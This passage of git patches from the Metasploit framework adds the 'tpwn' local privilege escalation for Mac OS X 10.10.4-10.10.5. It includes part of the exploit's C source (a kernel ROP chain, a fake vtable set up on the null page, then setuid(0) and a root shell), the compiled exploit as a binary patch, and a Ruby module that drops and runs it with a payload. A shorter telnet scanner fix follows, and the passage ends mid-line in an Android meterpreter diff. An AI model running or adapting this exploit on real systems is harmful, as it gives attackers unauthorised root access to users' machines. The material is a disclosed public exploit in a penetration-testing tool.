PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get"); + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3) + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid()) + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt"); + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt"); + + PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); + PUSH_GADGET(stack) = heap_info[1].kobject+0x210; + PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); + PUSH_GADGET(stack) = JUNK_VALUE; + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock"); + PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); + PUSH_GADGET(stack) = heap_info[1].kobject+0xe0; + PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); + PUSH_GADGET(stack) = JUNK_VALUE; + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv"); + PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); + PUSH_GADGET(stack) = heap_info[1].kobject+0xe8; + PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); + PUSH_GADGET(stack) = JUNK_VALUE; + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv"); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n") + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog"); + + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return"); + + uint64_t* vtable=malloc(0x1000); + + vtable[0] = 0; + vtable[1] = 0; + vtable[2] = 0; + vtable[3] = ROP_POP_RAX(mapping_kernel); + vtable[4] = ROP_PIVOT_RAX(mapping_kernel); + vtable[5] = ROP_POP_RAX(mapping_kernel); + vtable[6] = 0; + vtable[7] = ROP_POP_RSP(mapping_kernel); + vtable[8] = (uint64_t)stack->__rop_chain; + + or_everywhere(heap_info[1].kobject+0x220); // set online + or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL) + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0x10; + mp[0] = (uint64_t)0; + mp[1] = (uint64_t)vtable; + mp[2] = (uint64_t)&mp[1]; + uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code! + vm_deallocate(mach_task_self(), 0, 0x1000); + setuid(0); + if (getuid() == 0) { + system("/bin/sh"); + exit(0); + } + + puts("didn't get root, but this system is vulnerable. "); + puts("kernel heap may be corrupted"); + return 1; +} diff --git a/data/exploits/tpwn/tpwn b/data/exploits/tpwn/tpwn new file mode 100755 index 0000000000000000000000000000000000000000..dabce3a9ec01a42e8416de90ab067636c4551d7f GIT binary patch literal 31484 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 literal 0 HcmV?d00001 From 26165ea93f3171d2718fb5e7b49dbca58318cdd8 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 17:07:58 -0500 Subject: [PATCH 099/119] Add tpwn module --- modules/exploits/osx/local/tpwn.rb | 98 ++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/exploits/osx/local/tpwn.rb diff --git a/modules/exploits/osx/local/tpwn.rb b/modules/exploits/osx/local/tpwn.rb new file mode 100644 index 0000000000..bfd0864d61 --- /dev/null +++ b/modules/exploits/osx/local/tpwn.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + + Rank = NormalRanking + + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X "tpwn" Privilege Escalation', + 'Description' => %q{ + This module exploits a null pointer dereference in XNU to escalate + privileges to root. + + Tested on 10.10.4 and 10.10.5. + }, + 'Author' => [ + 'qwertyoruiop', # Vulnerability discovery and PoC + 'wvu' # Copy/paste monkey + ], + 'References' => [ + ['URL', 'https://github.com/kpwn/tpwn'] + ], + 'DisclosureDate' => 'Aug 16 2015', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => ['shell'], + 'Privileged' => true, + 'Targets' => [ + ['Mac OS X 10.10.4-10.10.5', {}] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + ]) + end + + def check + ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe + end + + def exploit + print_status("Writing exploit to `#{exploit_file}'") + write_file(exploit_file, binary_exploit) + register_file_for_cleanup(exploit_file) + + print_status("Writing payload to `#{payload_file}'") + write_file(payload_file, binary_payload) + register_file_for_cleanup(payload_file) + + print_status('Executing exploit...') + cmd_exec(sploit) + print_status('Executing payload...') + cmd_exec(payload_file) + end + + def ver? + Gem::Version.new(get_sysinfo['ProductVersion']).between?( + Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5') + ) + end + + def sploit + "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}" + end + + def binary_exploit + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn' + )) + end + + def binary_payload + Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + end + + def exploit_file + @exploit_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def payload_file + @payload_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + +end From 182c1bc7fe347ffbb8307318b137ad92f817f411 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 18:20:04 -0500 Subject: [PATCH 100/119] Disconnect socket when login fails --- modules/auxiliary/scanner/telnet/telnet_login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 069e3f44dc..e9315b7ba4 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -89,6 +89,7 @@ class Metasploit3 < Msf::Auxiliary else invalidate_login(credential_data) vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + disconnect(scanner.sock) end end end From d54249370b406468b7a1931b42ddc95fec79f358 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 18:25:16 -0500 Subject: [PATCH 101/119] Move tpwn source to external/source/exploits --- {data => external/source}/exploits/tpwn/Makefile | 0 {data => external/source}/exploits/tpwn/import.h | 0 {data => external/source}/exploits/tpwn/lsym.h | 0 {data => external/source}/exploits/tpwn/lsym.m | 0 {data => external/source}/exploits/tpwn/lsym_gadgets.h | 0 {data => external/source}/exploits/tpwn/main.m | 0 6 files changed, 0 insertions(+), 0 deletions(-) rename {data => external/source}/exploits/tpwn/Makefile (100%) rename {data => external/source}/exploits/tpwn/import.h (100%) rename {data => external/source}/exploits/tpwn/lsym.h (100%) rename {data => external/source}/exploits/tpwn/lsym.m (100%) rename {data => external/source}/exploits/tpwn/lsym_gadgets.h (100%) rename {data => external/source}/exploits/tpwn/main.m (100%) diff --git a/data/exploits/tpwn/Makefile b/external/source/exploits/tpwn/Makefile similarity index 100% rename from data/exploits/tpwn/Makefile rename to external/source/exploits/tpwn/Makefile diff --git a/data/exploits/tpwn/import.h b/external/source/exploits/tpwn/import.h similarity index 100% rename from data/exploits/tpwn/import.h rename to external/source/exploits/tpwn/import.h diff --git a/data/exploits/tpwn/lsym.h b/external/source/exploits/tpwn/lsym.h similarity index 100% rename from data/exploits/tpwn/lsym.h rename to external/source/exploits/tpwn/lsym.h diff --git a/data/exploits/tpwn/lsym.m b/external/source/exploits/tpwn/lsym.m similarity index 100% rename from data/exploits/tpwn/lsym.m rename to external/source/exploits/tpwn/lsym.m diff --git a/data/exploits/tpwn/lsym_gadgets.h b/external/source/exploits/tpwn/lsym_gadgets.h similarity index 100% rename from data/exploits/tpwn/lsym_gadgets.h rename to external/source/exploits/tpwn/lsym_gadgets.h diff --git a/data/exploits/tpwn/main.m b/external/source/exploits/tpwn/main.m similarity index 100% rename from data/exploits/tpwn/main.m rename to external/source/exploits/tpwn/main.m From 884760f11d354c47cdabc9015a65ce125e361faf Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 18 Aug 2015 17:27:48 +1000 Subject: [PATCH 102/119] Update the output format for the Wifi collection --- .../meterpreter/extensions/android/android.rb | 33 ++++++++++------- .../ui/console/command_dispatcher/android.rb | 35 ++++++++++--------- 2 files changed, 40 insertions(+), 28 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 750e1b5cf6..62f66cdc4a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -1,4 +1,5 @@ #!/usr/bin/env ruby +# # -*- coding: binary -*- require 